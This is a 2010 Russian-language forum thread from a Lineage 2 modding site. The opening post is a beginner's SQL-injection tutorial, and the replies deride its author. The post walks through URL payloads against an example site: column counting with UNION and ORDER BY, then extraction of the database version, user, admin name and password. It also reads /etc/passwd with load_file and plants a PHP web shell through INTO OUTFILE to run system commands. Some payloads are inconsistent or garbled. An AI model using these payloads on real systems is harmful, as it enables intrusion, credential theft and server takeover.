03.12.2020 | 19:45
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум L2edit.Ru » Lineage 2 » Java сервер » Sql-injection для самых маленьких
Sql-injection для самых маленьких
НикитаДата: Вторник, 20.07.2010, 12:48 | Сообщение # 1
Никита
Группа: Постоянный
Сообщений: 66
Награды: 1
Репутация: 0
Статус: Offline
Сегодня я вам расскажу об одной известной уязвимости SQL-injection. Я понимаю, что подобных статей написано уже много, но у новичков всё равно возникает множество вопросов. Итак, приступим.
Для начала немного разберёмся с языком SQL .
1. SELECT – команда для вывода информации из БД. Например:
SELECT name, password, email FROM users;
Этот запрос извлекает из таблицы users данные из полей name и password. Команда FROM, после которой через пробел идёт имя таблицы, указывает из какой таблицы будут извлекаться данные.
2. UNION – команда для объединения нескольких запросов в один. Например: SELECT name FROM admin UNION SELECT name, password FROM users;. (Данная команда работает только в MySQL 4.0 и выше, в более ранних версиях данная команда отсутствует.)
3. INSERT – команда для добавления данных в БД. Например:
INSERT INTO users (name, password, email) VALUE (‘hacker’, ‘qwerty’, ‘hacker@hack.ru’);.
Слово INTO, после которого идёт название таблицы, указывает в какую таблицу должна производится запись. VALUE – значение полей.
4. DROP - команда для удаления данных из БД. Например:
DROP TABLE users;
где users имя таблицы.
5. UPDATE – команда для изменения данных в таблице. Например у нас в таблице users есть пользователь с именем admin, нам нужно сменить его пароль, значит вводим следующее:
UPDATE users SET password = ‘qwerty’ WHERE name = admin;
6. CREATE TABLE – команда для создания таблицы в БД. Например:
CREAT TABLE users (name char (15), password char (10));
Данная команда создаст таблицу users, с полями name и password. Char – тип данных, числа в скобках максимальная длинна значения поля.

Ну вот с языком SQL мы немного разобрались, теперь приступим к SQL-injection. Данная уязвимость позволяет посылать запросы в БД из адресной строки браузера. Есть несколько способов проверить является ли сайт уязвимым. Например, у нас есть адрес:
www.lamer.org/index.php?id=1
В конце подставляем кавычку. Тогда ссылка примет следующий вид:
www.lamer.org/index.php?id=1’
Должна появится ошибка, но если она не появилось это ещё не значит, что сайт не уязвим. Попробуем следующий вариант.
www.lamer.org/index.php?id=2-1.
Если арифметическое выражение выполнилось и мы увидели те же данный что и при www.lamer.org/index.php?id=1 то значит скрипт не отфильтровал выражение, а выполнил его, это значит, что уязвимость скорей всего присутствует.
Допустим, мы определили, что сайт уязвим. Первым делом нам нужно подобрать количество полей. Это делается для того, что бы узнать значение какого поля отображается на экране.
www.lamer.org/index.php?id=1+union+select+1,2,3,4,5,6/*
(/* - это знак комментария, все что будет идти поле него, будет считаться комментарием)
Предположим у нас отобразилась цифра 4, значит отображалось значение четвёртого поля.
Количество полей можно перебрать и другим способом при помощи оператора order by. Например: www.lamer.org/index.php?id=1+order+by+2/*
Если не появилась ошибка – используется полей больше чем 2 (или равное 2).
www.lamer.org/index.php?id=1+order+by+6/*
Если появилась ошибка – это значит, что полей в запросе меньше 6.
Продолжаем дальше. Вводим следующий запрос:
www.lamer.org/index.php?id=1+order+by+3/*
Если ошибка не появилась то полей больше чем 3 (или равное 3).
www.lamer.org/index.php?id=1+order+by+5/*
Если появилась ошибка значит полей меньше пяти.
www.lamer.org/index.php?id=1+order+by+4/*
Если ошибка не появилась - это значит, что количество полей равно 4.
Итак, продолжим. Теперь начинаем выполнять команды.
www.lamer.org/index.php?id=1+union+select+1,2,3,version(),5,6/*
Должна отобразится версия SQL. Например 4.0
Узнаём имя пользователя БД:
www.lamer.org/index.php?id=1+union+select+1,2,user(),5,6/*
Так мы получим имя пользователя БД. Например lamer@localhost
Получаем имя БД
www.lamer.org/index.php?id=1+union+select+1,2,database(),5,6/*
Таким образом мы узнали имя БД. Например: lamers
Сейчас нам надо узнать в какой таблице хранятся данные пользователей.
www.lamer.org/index.php?id=1+union+select+1,2,name,5,6+from+users+limit+1,1/*
Если имя таблицы указали правильно, в нашем случае – это users, то должно отобразится имя первого пользователя. Например: admin.

Теперь нам нужно узнать пароль данного пользователя.
www.lamer.org/index.php?id=1+union+select+1,2,password,5,6+from+users+limit+1,1/*
Должен отобразится пароль пользователя admin. Например mego_lamer.
Теперь осталось только найти админку и залогинется под пользователем admin.
Так же есть возможность через SQL-injection есть возможность читать файлы на сервере. Для этого выполняем следующее:
www.lamer.org/index.php?id=1+union+select+1,2,3,load_file(/etc/passwd),5,6/*
Таким образом мы открыли файл passwd в каталоге /etc.

Заливаем Web Shell через SQL-injection.

Предположим мы зашли в админку, но так и не нашли с помощь чего нам можно залить шелл. Но есть поле для вводя запросов в БД. Отчаиваться не будем, сейчас мы зальём шелл через SQL.
Например у нас есть таблица articles в ней поле computers. Выполним следующую команду:
INSERT INTO articles (computers) value (‘’);
Обратите внимание, что cmd заключено в одинарные кавычки и выглядит так ‘’cmd’’ хотя в php должно быть так ‘cmd’. Всё потому, что если мы оставим так, как и в php коде, то SQL выдаст ошибку.
Так мы добавили в таблицу articles в поле computers новую запись. Теперь с помощью команды
select computers from articles into outfile '/home/lamer/www/shell.php';
мы сохраняем значение поля computers в файл shell.php. /home/lamer/www – путь к веб директории.(он может быть другим).
Теперь переходим по адресу www.lamer.org/shell.php?cmd=ls –la
Если команда ls –la выполнилась успешно, то мы увидим содержимое веб директории.


lineage2 ЗЛО
загрузка наград ...
 
DeMoNДата: Вторник, 20.07.2010, 13:20 | Сообщение # 2
DeMoN
Группа: Постоянный
Сообщений: 619
Награды: 20
Репутация: 120
Статус: Offline
Данный мануал никому не поможет.
Для этого надо учить SQL+PHP и искать ручками дыры в обвязках.
Тут не действует принцип: увидел - повторил.

загрузка наград ...
 
НикитаДата: Вторник, 20.07.2010, 13:23 | Сообщение # 3
Никита
Группа: Постоянный
Сообщений: 66
Награды: 1
Репутация: 0
Статус: Offline
ну закрывай мне пох я помочь хотел ! или удаляй ! если у каво руки не кривые это поможет !

lineage2 ЗЛО
загрузка наград ...
 
ОвощДата: Вторник, 20.07.2010, 13:53 | Сообщение # 4
Овощ
Группа: Администратор
Сообщений: 2491
Награды: 162
Репутация: 5547
Статус: Offline
Никита, я сомневаюсь что и ты знаешь пхп с скл )

Вёрстка макетов и создание клан сайтов на uCoz, STRESS - в ICQ
Хлеба и зрелищ

загрузка наград ...
 
DeMoNДата: Вторник, 20.07.2010, 14:40 | Сообщение # 5
DeMoN
Группа: Постоянный
Сообщений: 619
Награды: 20
Репутация: 120
Статус: Offline
Quote (Никита)
ну закрывай мне пох я помочь хотел ! или удаляй ! если у каво руки не кривые это поможет !

Агрицо то зачем?)
Как мануал, оно не подойдет. Ибо не везде одни и те же дыры.
А те, кто знаю PHP+SQL, они это и сами смогут сделать.

загрузка наград ...
 
НикитаДата: Вторник, 20.07.2010, 15:10 | Сообщение # 6
Никита
Группа: Постоянный
Сообщений: 66
Награды: 1
Репутация: 0
Статус: Offline
Мумрик, поверь я знаю луче тебя в серверах а в сайтах оденакова так что не надо мне тут писать что я не умею... что ты умееш ? отвечаеш всякий бред который сам не понимаеш!

lineage2 ЗЛО
загрузка наград ...
 
DeMoNДата: Вторник, 20.07.2010, 15:36 | Сообщение # 7
DeMoN
Группа: Постоянный
Сообщений: 619
Награды: 20
Репутация: 120
Статус: Offline
Quote (Никита)
Мумрик, поверь я знаю луче тебя в серверах а в сайтах оденакова так что не надо мне тут писать что я не умею... что ты умееш ? отвечаеш всякий бред который сам не понимаеш!

Ответ быдло школьника.
Для чего все эти дешевые понты?
А ты уверен, что ты больше его знаешь?
Смысла с такими как ты - спорить нет. Идиотов не переспоришь.
P.S. можешь не отвечать, дальнейшие твои посты я читать не буду, они мне не интерессны.

загрузка наград ...

Сообщение отредактировал DeMoN - Вторник, 20.07.2010, 15:37
 
ОвощДата: Вторник, 20.07.2010, 15:55 | Сообщение # 8
Овощ
Группа: Администратор
Сообщений: 2491
Награды: 162
Репутация: 5547
Статус: Offline
Никита, я по общению могу 100% сказать, на сколько ты опытен в данной сфере)

Вёрстка макетов и создание клан сайтов на uCoz, STRESS - в ICQ
Хлеба и зрелищ

загрузка наград ...
 
Форум L2edit.Ru » Lineage 2 » Java сервер » Sql-injection для самых маленьких
  • Страница 1 из 1
  • 1
Поиск: